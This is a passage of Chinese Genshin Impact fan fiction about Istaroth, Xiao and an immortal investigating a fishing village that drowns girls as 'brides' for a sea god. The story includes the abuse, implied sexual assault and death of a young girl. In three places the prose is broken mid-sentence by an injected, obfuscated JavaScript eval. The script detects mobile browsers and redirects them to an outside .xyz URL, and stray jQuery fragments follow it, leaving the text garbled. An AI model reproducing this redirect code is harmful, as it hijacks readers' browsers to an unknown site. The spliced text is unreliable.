伊斯塔露站得近,她看见移霄导天真君翻了个白眼后才紧紧握住了中年男人的手。
直到中年男人的脸色都白了白,移霄导天真君才若无其事般收了手。
毕竟仙人的便宜哪有这么好占。
这厢移霄导天真君和中年男人鸡同鸭讲地寒暄,另一边端正青年也是将魈、伊二人往东边的屋子引。
“于情于理,吴源本该引二位见见我的母亲,只是她这些年重病缠身,鲜少下床,所以只能失礼地带表弟表妹先找屋子住下了。”
“不过恰巧我也有一位妹妹与表妹看着年龄相仿,一会儿我带表妹去见见。”
吴源一本正经地道。
超级加辈啊,伊斯塔露无不乐子地想,这哥们活了一百年没有,就敢这么自然地与她和魈称兄道弟。
本就疏离冷淡的魈根本不屑于搭理他,只是寸步不离地跟在伊斯塔露身后。
伊斯塔露只能自己来想办法撬吴源的嘴:
“好啊,表哥和我们客气了,虽然待不了几日,但我也希望能和表妹相处好。”
“欸,说起来舅母得的是什么病?我恰好和名家学过,懂一些岐黄之术。”
谁料吴源却把头摇得像拨浪鼓,嘴严得很:
“唉,心病,我娘得的是心病,药石难医啊。倒是我妹妹,这些日子也不是很开心,若是表妹能和她玩得好,也都劝她两句。”
显然,这人不愿意让母亲见人,却急着介绍自己的妹妹。
伊斯塔露颇带兴味地挑了挑眉,一口应下:
“好啊。”
吴源分别安排了两间空屋给伊斯塔露和魈——两间屋子却一东一西,相隔甚远。
伊斯塔露的屋子就在吴源妹妹隔壁,魈却像是被提防了,独自一人住在院子西边。
见此安排,魈的神色显然冷了几分,他斜睨着吴源,压低声音:
“伊露大人……”
吴源本就是别有所图,才以“小姑”的借口顺水推舟;伊斯塔露等人自然也是将计就计,借此深入。
谁要是真信了有这么个“小姑”,信吴源真心实意,谁就是真的傻。
“没事,”伊斯塔露不甚在意地挥了挥手,“他们都是普通人,应该玩不出什么花。”
“何况帝君要我们探查此事,本就是担心民众受苦,如果无关魔神,反而不需要暴露身份去动手。”
“只是如果真的有什么要人命的习俗,”伊斯塔露头疼地摁了摁太阳穴,“该把这些人捉去归离集让归终安排他们读点书了。”
“是,”魈也不强求,他迟疑片刻后还是不放心地看了伊斯塔露一眼,“您若有需要,便呼我名。”
“好好好,你放心。”
伊斯塔露不以为意地点了点头,没太当回事。
她就不信这些人刚来就敢动手脚。
所以待魈被支开后,吴源迫不及待带她去见他妹妹时,伊斯塔露也欣然应下。
于是吴源慢条斯理地打开了隔壁那扇门上的铜锁,拉开腐朽到发出闷响的木门。
“妹妹,有位表妹来见你了,你们要好好相处。”
随后,他毫不犹豫地伸出手,想把还在四处打量的伊斯塔露推进屋内。
伊斯塔露没有躲闪,任由他把自己推进去,再不紧不慢地回过头。
扬尘在朦胧的光晕下肆意飞舞,随后是“砰”的一声,木门被关上,落锁的声音在屋外响起。
伊斯塔露看着被重新锁上的木门,一时忍不住轻笑了一声。
她才刚和魈分开就开始动手脚,这坏得有点愚蠢了吧。
“对不起,我哥哥是坏人,他是想让姐姐代替我嫁人,我替他道歉……”
角落里传来声若蚊呐的道歉。
“麻烦你陪我关一段时间吧,白衣服的姐姐,等我出嫁的时候,你就有机会逃跑了……”
伊斯塔露循着声音走过去,看见一名身着凤冠霞帔的少女抱着膝盖坐在角落里。
她看起来不过十四五岁,却瘦骨嶙峋、眼神黯淡,像是被虐待过。
伊斯塔露想起了摩拉克斯说的那个以娶亲之名祭祀少女的海神传说。
她索性在少女面前坐下,和她对视:
“你好,我叫伊露,你叫什么名字呀?”
半晌,少女才怯生生地看她一眼,小声道:
“……吴忧。”
“意思是无忧吧?好名字,”伊斯塔露形式上客套
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936197|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一句,“我可以知道你嫁人是怎么回事吗?”
“你看起来年龄那么小,你的家人怎么就把你关在屋子里,还要你嫁人?”
少女看起来不怎么与人交流,伊斯塔露问一句她便小声答一句,看起来没什么戒心:
“其实不是‘嫁人’的,嫁的是海神大人——”
伊斯塔露若有所思地点点头。
比起确有此事,她还是觉得“海神”只是这些村民想要活祭少女的借口。
所以比起摇摩拉克斯过来揍神,或许她更需要把这些过度迷信的村民抓回归离集读书开化。
伊斯塔露忽然心生一计,她向一身婚服的少女建议道:
“吴忧,要不我穿你的衣服替你‘嫁’给海神,你趁着嫁人时的阵仗往天衡山那边跑,会有地方收留你的。”
“我呢,也自有办法脱身,两全其美,如何?”
“不要,我要自己嫁,谢谢姐姐。”
令伊斯塔露意外的是,吴忧想也不想便拒绝了她。
“欸?为什么?嫁给海神你可就……”
伊斯塔露甚至都有些不忍心跟年纪这么小的少女描述这种活祭的事。
“我娘说的,”吴忧如同蒙尘的眼中终于透出了些光芒,“我娘说只要能嫁给海神大人,就再也不会看见人类的丑恶,就会得到永远的快乐。”
“所以我出嫁的时候,会一起带上我娘。”
伊斯塔露觉得自己有些哭笑不得了。
想抓她去祭祀的人好像不怎么信海神,想放她走的人却是最迷信海神的。
但是如果能救眼前的女孩,她还是愿意多努力一下。
伊斯塔露定了定神,试图和吴忧讲道理:
“你也知道的吧?你们村子的‘嫁海神’每隔几年都有,难道海神大人那么缺妻子吗?”
“白衣服的姐姐,我知道是怎么回事。”
吴忧在角落里抬起头,幽幽地看着伊斯塔露,神色无悲无喜。
“村里所谓的‘嫁海神’,其实就是村里有一个女孩会被选中抛弃而已——她会被送到海上,等海浪把她的生命夺走,便是祭祀给海神大人了。”
伊斯塔露收起了笑容,正视起眼前弱不禁风的少女:
“那么吴忧,为什么你还执意要嫁呢?明明我有两全其美的办法。”
“因为我娘说,真的有海神大人,海神大人也真的会给我们带来幸福。”
吴忧谈起“海神大人”时,眼里没有狂热,却有不可撼动的坚定。
“她就是曾经被选中嫁给了海神大人,却又被海神大人送回来的人。”
不是,这剧本到底谁站好谁站坏啊?
怎么村里看起来最善良的姑娘是海神最忠诚的信徒啊?
还是那种要拿少女献祭的神。
伊斯塔露头疼地叹了口气,站起身,打算到屋外透透气,顺便理一理事关“海神”“嫁人”“祭祀”的思路——门上小小一把铜锁,自然是困不住她的。
“我去看看能不能找到点吃的,吴忧你要吃饭吗?”
“我……唉,嫁给海神的事回头再说吧,我看看要不要和摩拉克斯说……”
伊斯塔露说着,就想施法打开那扇木门,谁知门外先传来锁被扭开的声响。
她毫不意外地推开门,果见门外是没见到她便开始找人的魈。
只是他的脸色有些不对劲——似乎是隐约听到了伊斯塔露最后一句话。
“伊露大人,您……要嫁给海神?还要帝君证婚?”
向来疏淡如风的魈愕然失色。
11. 人间一梦(十一)
“不,没有这回事。”
伊斯塔露试图冷静地打断魈。
她这些天第几次听到造谣了?归离集的人怎么回事!
然而下一瞬,一抹青色的残影掠过,魈已经消失在她眼前。
伊斯塔露无语得差点笑出声,她深深吸了一口气,放弃了给自己正名。
喜欢传谣就都传去吧,等传言变成她跟所有人都有一腿的时候就等于没有了!
“白衣服的伊露姐姐,”角落里的吴忧甚至都因为这动静探头看了两眼,“那个跑得很快的哥哥是你的朋友吗?”
“是啊,他……人比较年轻,比较喜欢这样跑来跑去锻炼身体哈哈。”
嫁给海神这类乱七八糟的谣言,她就不重复第二遍了。
“哦,他长得好像话本中的仙人,”吴忧的态度看上去淡淡的,“仙气飘飘的。”
吴忧木讷地歪了歪头,突然问道:
“他会和海神大人一样救苦救难吗?还有伊露姐姐,你呢?”
她的眼里全然是对美好未来的渴望。
可是这样的渴望都寄托在虚无缥缈的“神明救助”上。
面对这样的期冀,伊斯塔露反而说不出安慰的话。
吴忧和归离集的人们不一样,她能看清是非对错,忍过了不公对待,却把所有的希望都寄托在神明身上。
“或许吧,但我们能救多少人,所谓‘苦难’是否又是我们带来的呢……”
伊斯塔露沉吟片刻,忽然笑了。
“人类也未必不如神明。”
“不,人类不能和神明比,”吴忧摇了摇头,分外执拗,“人类卑劣而自私,可笑又不自知。”
她说的是渔村里的人,先后拿她和她的母亲去祭祀海神的人,愚昧的、奴颜婢膝的、盲目向魔神上贡的人。
“是,但最卑劣自私的土壤中也能绽放出最高洁无瑕的花,未曾得到神明垂怜的愚行会将蒙昧刻入昨天。”
“这是独属于人类的绚烂生命。”
否则也不会有千岩军自愿为魔神与仙人开道,以人类之躯踏破魔神禁制的奇迹了。
也不会有魔神、仙人和人类共同守护和管理的归离集。
或许正是因为身为神明,却又如同初生的人那样探寻世间,伊斯塔露才深知人类的可贵。
或许也是因为身为凡人,却又深切地看透了人类无法抹去的自私与愚昧,吴忧才会将希望寄托于神。
横看成岭侧成峰,伊斯塔露并不打算继续和吴忧争辩,她跨出了门槛。
疏朗的光透过她,洒入屋中。
“卑不卑劣的回头再说吧,现在不让我吃晚饭的通通都卑劣。”
“让我先去找点好吃的。”
“伊露,既然你这么说,我,移霄导天,今天也只好当这个卑劣的人了!”
移霄导天真君大喊一声,从天而降,落在伊斯塔露面前,按住了她的肩膀。
“啊,啊?”
伊斯塔露有点摸不着头脑。
“我听降魔大圣说了,什么什么嫁给海神还要帝君证婚的事,糊涂啊,伊露!”
移霄导天真君直视着伊斯塔露,目光炯炯,言辞恳切。
“谣言,移霄导天真君,是谣言!”
屋内的吴忧听到“海神”二字,已经探头探脑地想往外看,伊斯塔露无奈地叹气,澄清道:
“魈没听清楚怎么回事就跑走了,我说的是有位姑娘执意要嫁给海神,这件事像是你情我愿,我在思考要不要惊扰帝君。”
“哦,那就好。”
移霄导天真君明显舒了口气,像是发现白菜没有被猪拱了那般庆幸。
他甚至给伊斯塔露塞了一个饭团,就开始了语重心长的教育:
“来,边吃边听我说,别饿着了。”
“伊露,帝君和哈艮图斯大人都很信任你啊。”
“还有留云也是,现在魔神战争还打着呢,千万不要看上敌人啊,等以后和平了,你爱干啥干啥,大家给你当后台。”
“我们现在的任务是调查清楚这里的情况,你要如何将计就计我和降魔大圣都能配合你,但你万万不可对敌人有想法啊!”
能和留云借风真君聊在一起的,果然也是善于聊天的人。
“不,”伊斯塔露满头黑线地打断了移霄导天真君,“移霄导天真君,我真是正经人,我的心里只有伟大的事业。”
“真的?唉,没事,有话可别憋在心里……”
“……真的。”
“伊露,你是一个好孩子……”
移霄导天真君原本还想进行什么浮夸的表演,却忽然神色一凛,拍了拍伊斯塔露的肩,便消失在她面前。
随后,伊斯塔露就听到了脚步声。
她心领神会,不动声色地退回屋内,把那扇门恢复原状。
“啊,来人了。”
吴忧竟是也听到了声响,她从角落里站起身,拉着伊斯塔露的斗篷,木木地把人往角落里拽。
“伊露姐姐,快躲到角落里,他们来了。”
伊斯塔露虽然摸不着头脑,但也没反抗,被吴忧半拉半拽,在角落里抱膝坐下。
但事实上,这间逼仄的小屋内空无一物,即使躲在被阴影笼罩的角落里,也不过是迟一点被看见罢了。
吴忧一点一点把大红的婚服铺开,挺直脊背,试图用自己单薄的身体把伊斯塔露完全挡住。
——即使她们都清楚这是无用功。
随后,门外传来铜锁被打开的“咔哒”声,木门被人一脚踹开。
扬尘四起,来人眯起眼睛咳了几声,随即将目光锁在角落里。
“妹妹,你哥关进来的那个女人呢?让她爬过来!”
浮尘落下后,伊斯塔露借着门外的灯火看清了来人——是一个骨相刻薄的年轻女人。
“……”
吴忧没有说话,垂着头,无声地试图遮挡伊斯塔露。
门口的女人见状,吊梢眉一挑,三步并作两步走向吴忧——她一把抓住吴忧的小臂,毫无怜悯之心地将她拖到另一边的角落。
没有了吴忧的遮挡,白发白衣的少女暴露在吊梢眉女人面前。
女人一步步走向白衣少女,居高临下地审视着那不似凡人的美貌,满意地点点头:
“不错,长得真周正,如果不是要送给海神大人,说不准能卖……”
女人自言自语着,猛地伸出手,开始撕扯白衣少女的衣服。
女人的手粗糙而有力,白衣少女的挣扎反抗在女人面前不值一提,她很快把那些衣服尽数扯下,并且给了少女一个响亮的耳光。
“小贱人!闹什么闹!你就是欠打!”
“嫂嫂!不要……”
好不容易缓过来的吴忧见状,瞪大眼睛,趔趄着站起来,想要阻止女人,却被人从身后捂住了嘴。
吴忧挣扎着回头看身后的人,骤然瞪大了眼。
那人正是伊斯塔露。
“嘘,一个障眼法,我没事。”伊斯塔露在她耳边低语。
吴忧这才停止了挣扎,两人坐在另一个角落看着女人对伊斯塔露的虚影拳打脚踢后,试图把她拖出门。
“嫂嫂……”
意识到了女人要做什么,即使知道伊斯塔露安然无恙,吴忧还是脸色一白。
女人回头啐了吴忧一口,破口大骂:
“一个婊子装什么好心,你哥把这小贱人骗过来就是为了代替你死的!”
“那劳什子海神让这小贱人嫁去吧,嫁海神不就是丢海里淹死!”
“老娘带她去村里逛一圈,把人都喊出来悄悄,等她丢人丢干净了就老实了!”
言毕,女人拖着那道已无寸缕的虚影,“砰”地关上了木门,重新落锁。
伊斯塔露感觉到了吴忧的颤抖不止,她抱了抱凤冠霞帔却骨瘦如柴的少女:
“别怕,没事的,我在这里。”
“还好,还好姐姐你是仙人,还好你没事,”吴忧死死抓着伊斯塔露的袖口,心有余悸地闭上眼,“这些人,真的,真的很恶毒。”
“我也被拖过的,这种屈辱……”
吴忧细弱的声音在空屋中显得甚至有些刺耳。
伊斯塔露也沉默了,亲眼见证了吊梢眉女人的行为,她甚至有些无法反驳吴忧之前说过的话。
是因为她忘记了所有,醒来后经历得太少,所以将人类想得太过正面?
伊斯塔露沉思之际,屋外忽然狂风大作。
木门被狂暴的风元素从外界破开,戴着傩面的少年仙人手执长枪,一身煞气,独立于月色之下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936198|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他身后是匆匆忙忙跟过来的移霄导天真君。
“呃,魈,移霄真君?”
伊斯塔露看着院子里的两道身影,愣了愣:
“晚上好啊,今晚月色不错?”
魈看见伊斯塔露时也明显愣了一下,他难以置信地瞪大了眼,似乎想靠近些打量,却又生生收住了脚步。
“……伊露大人,您果真无恙?”
“我能有什么事?”
伊斯塔露有点摸不着头脑。
就算这村子里的人很坏,那她也不是能让人拿捏的软柿子啊。
“我就说伊露不会有事吧,降魔大圣,你怎么急成这样……”
移霄导天真君挠了挠头,和伊斯塔露简单解释了缘由——魈正巧看见伊斯塔露幻化出的虚影被拖着出了门。
移霄导天真君最后总结道:
“伊露不至于打不过一个人类,护法夜叉这是关心则乱吧。”
“并非,”魈闭上眼,转过头,淡声道,“只是不愿心存侥幸。”
“抱歉让你们担心了,那就是个元素力拟造的幻术,我没事。不过现在闹出那么大动静……”
伊斯塔露的视线扫过狂风造成的一地狼藉。
“居然没人管吗?”
“没时间管,”魈重新睁开眼,“这家的夫人失踪了,都去寻人了。”
“这么大仗阵?夫人?那不就是……”伊斯塔露回头看屋内的少女,“吴忧,是你的母亲吗?”
“是,伊露姐姐,她、她一定是去海边找海神大人了……”
吴忧用力点了点头,她怯生生地看着外面三人,欲言又止。
伊斯塔露会意,走进屋内,拍了拍她的肩。
“谢谢你那么努力保护我,我会找到你的母亲的。”
“一定会。”
伊斯塔露强调道。
“白衣服的伊露姐姐,”吴忧拉着伊斯塔露斗篷的一角,低声细语地叮嘱,“还有外面的仙人哥哥、仙人大叔,你们都要小心……谢谢你们。”
言毕,吴忧松开手,一瘸一拐地走到屋中的角落坐下——伊斯塔露这才发现,她其实有些跛脚。
至于跛脚是先天还是后天……伊斯塔露冷嗤一声,跨过了门槛。
她看向在外等候的两位仙人:
“移霄真君,魈,我答应了那个姑娘要去海边找她的母亲,那我和你们先分头行动?”
“无妨,伊露大人,我陪你一起去。”
月光下,魈抱着长枪,眉眼疏淡。
“我们为探寻海神而来,此番不算多余。”
“既然你们都这么说,我又焉有不去之理啊?走!”
移霄导天真君笑呵呵地拍了拍两人的肩。
.
当三人赶到海边时,恰巧听到飘渺的乐声从礁石上传来。
一名消瘦的女人将海螺放在嘴边,吹奏出从未有人听闻的乐曲。
乐声随风飘入海中,拍打礁石的波涛愈发汹涌,近岸的潮水逐渐扭曲成漩涡,水流的旋转声愈发刺耳——
刺目的白光破水而出,两条流水塑成的螭兽抬着珠光宝气的车辇,辇上斜倚着来自深海的魔神。
年轻俊美的海之魔神在月光下踏上沙滩,长发似流动的海浪,神色却阴沉如蔽月乌云。
围观的三人不约而同地闪到了一块礁石后面——他们只是探查,还没必要引起海之魔神的注意。
何况这魔神看上去还心情不大好。
谁知海之魔神明明只是目光扫过三人藏身的礁石,便用流水幻化出一柄三股叉,毫不犹豫地向这个方向走来。
魈无声地抬手扫过脸颊,面目狰狞的傩面挡住了清隽的容颜。
移霄导天真君已经隐隐有化出鹿形战斗的准备。
伊斯塔露指间也聚起了星尘。
三人藏身的礁石被三股叉打碎的瞬间,海之魔神的眼中迸发出浓烈的杀意。
场面堪称剑拔弩张。
待看清伊斯塔露的容貌后,海之魔神却骤然收起了杀气。
在魈和移霄导天真君不善的目光中,海之魔神一步步走向伊斯塔露,在离她五步远时停下。
他弯起右膝,向伊斯塔露跪下。
“海之魔神弗加洛,见过伊斯塔露大人。”
12. 人间一梦(十二)
伊斯塔露有苦说不出。
她真不认识这个海之魔神啊,这哥们在跪什么啊?还二话不说就报她真名?
伊斯塔露合理怀疑弗加洛是想用离间计害死她。
她一退三米远,试图在魈和移霄导天真君面前证明自己没有通敌:
“那什么,我不认识你,你别乱说话,也别乱跪,快起来。”
“你是不是认错人了?我叫伊露,姓伊名露,不是什么伊斯塔露。”
弗加洛却执意抬起头,
“我不应当认错才对,伊斯……”
伊斯塔露忍无可忍,打了个响指,刹那间,海浪、螺音乃至魈枪尖的流风都尽数停滞。
除了伊斯塔露和弗加洛,一切事物的时间都在此停下。
伊斯塔露一把拉起了半跪在地的弗加洛:
“大哥,能不能不要害人了?!”
“呃,伊斯塔露大人,这声‘大哥’我怎么担得起?”
出场气势汹汹的海之魔神终于乖乖站起身,露出了茫然的神色。
伊斯塔露无语得笑出了声。
“你觉得我不想承认‘伊斯塔露’这个名字,是因为我真的不叫伊斯塔露吗?”
“……有没有可能我就是不想让别人知道我真名!”
她和摩拉克斯的契约签的是假名,或许尚有转圜余地,但要是被知道了真名,重新签了签约……
到时候她违约跑路了,食岩之罚这块谁给她补?弗加洛吗?
“可您为何……?”
弗加洛打量着那两位困在停滞时间的仙人,恍然大悟。
“您身为「时之执政」,「天理」意志的代行者,如今是微服私访探查魔神战争的情况么?”
“原来如此,是我思虑不周了,伊斯塔露大人见谅。”
“……算是吧,等等,”伊斯塔露吸了一口凉气,“你知道我是时之执政?”
“当然,我无比感念您的恩德。”
弗加洛虔诚地朝伊斯塔露行了躬身礼。
“您曾以言语诱导厄歌莉娅将纯水精灵变成人,令厄歌莉娅因此被囚禁时,我等生灵正是因为压制生灵躁动的厄歌莉娅被镇于深海,才能够离开那片海域。”
所幸他很快又给伊斯塔露找好了理由:
“但您是高贵的「时之执政」大人,注意不到我们这种卑微的生灵也是正常的。”
伊斯塔露不置可否地挑了挑眉,她的记忆里没有弗加洛说过的事,她也不觉得自己会这样高高在上。
她还不够清澈且愚蠢吗?她是能装得高贵冷艳的人吗?
但弗加洛所描述的,却很像伊斯塔露的某个梦。
梦里,一望无际的汪洋中,漫长的岁月后,众水的女主人终于决定将水之精灵塑造成人,却因此身负枷锁,沉于深海。
而时间依旧无情地继续向前。
“诱导厄歌莉娅将精灵变人”,伊斯塔露回味了一下这几个字。
这大概是她忘记的过去?听上去好像没干什么好事,伊斯塔露心虚地擦了擦冷汗。
至少她现在只想在「天理」手中活下来,不知道重新做神还来不来得及。
不过这海之魔神是真能处,有什么说什么,伊斯塔露感慨。
海之魔神比她想得呆很多——摩拉克斯对他的慎重和吴忧对他的崇敬,让她先入为主地觉得这魔神很难应付。
能让摩拉克斯这种心思深沉还能打的家伙慎重对待的,难道不应该是另一个老奸巨猾的魔神吗?
想到这里,伊斯塔露还是决定留个心眼。
“所以你来到云来海附近,心安理得地收下少女作为祭品?”
伊斯塔露蹙了蹙眉,质问弗加洛——她没忘记摩拉克斯让她来的目的。
“吃活人祭品?你身为魔神的道德呢?”
伊斯塔露的那本搞事指南记载过,身为这提瓦特大陆的魔神,都是生而爱人的。
像是被凭空泼了一盆脏水,外貌年轻的海之魔神瞪大眼睛,愣在原地。
片刻后,他才听懂伊斯塔露在说什么,苦笑着解释道:
“伊斯塔露大人,您误会了,真正将少女当成祭品的不是我,是渔村的人类。”
“他们认为云来海上的风暴都是魔神不满人类没有奉上祭品,自作主张地每隔几年便将可怜的少女拋入海中,以为如此便能得到庇护。”
“我虽做不到救苦救难,但也能收留这些可怜的被抛弃的少女。”
弗加洛指了指坐在礁石上中年女子,在静止的时间中,形容枯槁、眼神混沌的女子依旧虔诚地望着云来海。
“数十年前,她也曾是被献祭的少女,我将她从波涛中救下,带回我的宫殿,让她与同样被献祭的她们一同居住。”
“可是她跟我说,她不愿意永远住在宫殿中,她说她要回家。”
“我不明白,但是我尊重了她的选择,给了她一只海螺——我和她说,如果有一日她回心转意,想回到我的宫殿远离人世,就来海边吹响这只海螺吧。”
“如今海螺被吹响,想来是她后悔了,我只是来帮助她,接她回海神宫。”
伊斯塔露无话可说,因为弗加洛的所作所为无可指摘。
哪怕她觉得归终和摩拉克斯的治世之道才能长久。
毕竟她今天亲眼看见,渔村里的人为了让献祭的少女听话,不惜极尽折辱,拖着身无寸缕的她们全村巡游。
在这种毫无道德的民风下,弗加洛给了少女们栖身之处,甚至可以称得上善良。
她没有理由阻止弗加洛,也不可能和一个善良的魔神动手。
她甚至不得不回报摩拉克斯,所谓的“苍生疾苦”——不过是人类的自作自受。
伊斯塔露叹了口气。
“她找你是为了让你去救她即将被献祭给你的女儿吧,那姑娘是很好的人,也很崇敬你,我没理由阻止你们。”
“我这两位……朋友,”伊斯塔露指了指身后一动不动的两位仙人,“我会带他们离开。”
“多谢,伊斯塔露大人。”
弗加洛对她微笑致意。
又是一声清脆的响指声,伊斯塔露伸手,在还未回过神的魈和移霄导天真君眼前晃了晃。
“魈,真君,你们醒了没?回归离集啦。”
魈率先一步反应过来,他的枪尖青光未散,少年仙人警惕地环顾四周,却发现海之魔神和女人都已经不见踪影。
魈蹙了蹙眉。
“伊露大人,我们……”
伊斯塔露毫不犹豫地把脏水往弗加洛身上泼:
“海之魔神使了点阴招,你们刚刚昏过去了。”
移霄导天真君倒是立刻会意,径直问伊斯塔露那二人的踪迹。
“哦,他啊,”伊斯塔露开始满嘴跑火车,“他把我妈认成我了,事实上我妈已经死了好多年了。”
“我妈以前救过他的命,所以他刚才放过了我,还告诉我村子里把年轻姑娘丢水里都是一厢情愿,他还得每隔几年救一下那些姑娘。
“他说他现在只想救吴忧和她妈妈,不会管渔村的人,所以让我们也别管闲事。”
“事情差不多就是这样。”
除了对归终和摩拉克斯说是原主死后鬼上身,伊斯塔露对外的身份还算是身世神秘的仙人。
所以她这话看上去虽然像敷衍,却也挑不出错处,何况伊斯塔露还搬出了摩拉克斯:
“比起阻止他,现在更重要的是把这件事回报帝君吧?”
“作恶的并非魔神,而是人类……”
魈低声复述着伊斯塔露的话,神色莫测。
移霄导天真君倒是认可地点点头,他挠了挠自己的后脖颈:
“这事还怪麻烦的,算了,还是交给帝君和哈艮图斯大人头疼吧。”
向来寡言少语的魈见二人都是如此,也默认了伊斯塔露回归离集的建议。
三位仙人心照不宣地没有阻止海之魔神去救人。
在流淌的月华下,三人翻过了这个海滨渔村的围墙。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936199|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>没有人受伤,归终的弩也没有派上用场。
看着手中的轻弩,伊斯塔露隐隐觉得不安,却说不清楚为什么。
只希望吴忧和她母亲都没事吧。
伊斯塔露缓缓回头,最后一次望着月下的渔村,却骤然瞳孔一缩。
她看见远方汹涌的海浪卷起了数十米的高度,遮蔽了皓月,呼啸着扑向这个渔村。
只要浪头打下,这个渔村必然毁灭!
“魈,真君!我们快回去!要出事了!”
伊斯塔露拍了拍魈和移霄导天真君,率先提气掠身,向海浪卷起的方向快速移动。
海之魔神欺骗了她!他想要毁了整个渔村!
伊斯塔露周围的景物飞速向后退去,却有一抹迅捷如风的身影,从身后扶住了她的腰,以更快的速度将她往前带。
“伊露大人,我先带您过去,移霄导天真君随后赶来。”
清冽的嗓音伊斯塔露在身边响起,是魈。
“嗯,越快越好。”
伊斯塔露没和魈客气,魈也极快会意,带着她往海浪的方向赶。
直到二人看到那抹蓝色的身影,和他身后数十米高的汹涌浪潮。
魈松开手,伊斯塔露从半空中一跃而下,落在沙滩上,和正踏破渔村围栏走出来的海之魔神对视。
漆黑的夜幕下,海之魔神怀中抱着什么,湛蓝的眼中毫无愧色。
“弗加洛,我何时允许过你随意对人类动手了?”
或许是今日被喊“大人”喊得有些多了,早就失去记忆的伊斯塔露难得也拿出了些不容置喙的气势。
“烦请您不要插手此事。”
弗加洛也寸步不让地继续向前,随着他的一步步靠近,滔天巨浪已经近在咫尺。
瞬息之间,浪潮落下,以锐不可当之势扑向伊斯塔露和她眼前的村庄。
伊斯塔露转过身,向浪潮伸出手,汹涌的海潮顷刻间停滞在空中,在铺天盖地的巨浪中,灿烂的金色阵法自她掌心徐徐旋开。
法阵光华绽放的瞬间,伊斯塔露肩上纹着的衔尾蛇图腾绽出十字星芒,银白长发如披霜月,辉光莹润。
随后,时间倒转,即将落下的巨浪以来时之势开始迅速后退,数十米高的浪潮平息入海,任何一颗水珠都未能留下。
声势浩大的波涛之灾在伊斯塔露的法阵中,逐渐消弭于无形。
如此神迹,令魈和随后赶来的移霄导天真君都瞪大了眼,只有弗加洛一脸死寂,似乎对自己的失败早有预料。
伊斯塔露轻描淡写地掸了掸斗篷,看向弗加洛,弯起眉眼:
“你用了敬语,我就要同意你的要求吗?”
弗加洛垂着眉眼,依旧是那种不咸不淡的语气。
“大人,弗加洛不敢,只是我希望您能更重视一条人命一些,而不是高高在上地和我谈苍生。”
伊斯塔露对他这种暗讽的语气不太爽,她眯了眯眼,正要开口,却被走到面前的弗加洛打断:
“您先看看这个吧。”
弗加洛把怀中抱着的、用雪白鲛绡盖着的“东西”递向伊斯塔露。
“伊露大人,当心……”
抱着长枪立于一侧的魈毫不掩饰对弗加洛的敌视目光。
看着弗加洛那无悲无喜的面容,伊斯塔露却莫名想起了自己刚才离村时的不详预感。
“魈,没事的。”
伊斯塔露安抚般看了看魈,从弗加洛手里接过了鲛绡盖着的——人类躯体。
那副身体甚至尚存体温。
伊斯塔露一只手抱着鲛绡裹着的人,蹙着眉掀开了鲛绡一角,看见不着寸缕的少女双目紧闭,蜷缩在自己怀中。
大片青紫印在少女枯瘦的酮体上,她指尖、小臂和脖颈上的血迹已经干涸,可还有鲜血从她的大腿间缓缓滑下。
少女的惨状令伊斯塔露忍不住抖了抖。
似是感受到了颠簸,本就气息奄奄的少女忽然抓住了伊斯塔露的斗篷。
“伊露姐姐……”
13. 人间一梦(十三)
这个声音是吴忧的,伊斯塔露绝对不会听错。
因为前几个小时,这个声音还在叮嘱伊斯塔露一定要小心。
而现在她怀中的吴忧甚至睁不开眼,只是颤抖着抓住伊斯塔露的斗篷,声若蚊呐:
“伊露姐姐,你、你看,我说过的……”
“大部分人类,咳咳,卑劣而自私……你以后,以后要小心,不要……和我一样……”
“我不喜欢……咳咳,不喜欢这个世界……”
她的声音听上去还是那般平淡又木讷。
可那抓住伊斯塔露斗篷的手却倏然松开,少女再无声息。
伊斯塔露将盖在吴忧身上的鲛绡攥成一团,抬起头,红着眼眶盯着弗加洛:
“弗加洛,这是怎么回事?”
“你不是和她母亲去接她了吗?你不是魔神吗?!”
海之魔神只是无悲无喜地盯着伊斯塔露的面容,话语如同控诉:
“此事罪在你啊,大人。”
“村民乐见其成的羞辱仪式,最后只是一个虚影带来的幻象;原本被关押看管的你们,最后却把他们戏耍一场,潇洒离去。”
“那么剩下与你有关联的、能被村民拿来发泄的只有谁呢?只有她。”
“至于我赶到时,她已经受到了怎样的凌辱,你看她的伤痕便知,哪怕是我也不忍心复述。”
“她的母亲目睹这一切后,当场精神崩溃自行了断。”
“大人,即使是这样,您也要保护这些卑劣的村民?”
“也是,毕竟道理上的‘神爱世人’本当如此。”
海之魔神讽刺般低笑了一声。
他似乎并不想再多说什么,朝伊斯塔露伸出了手:
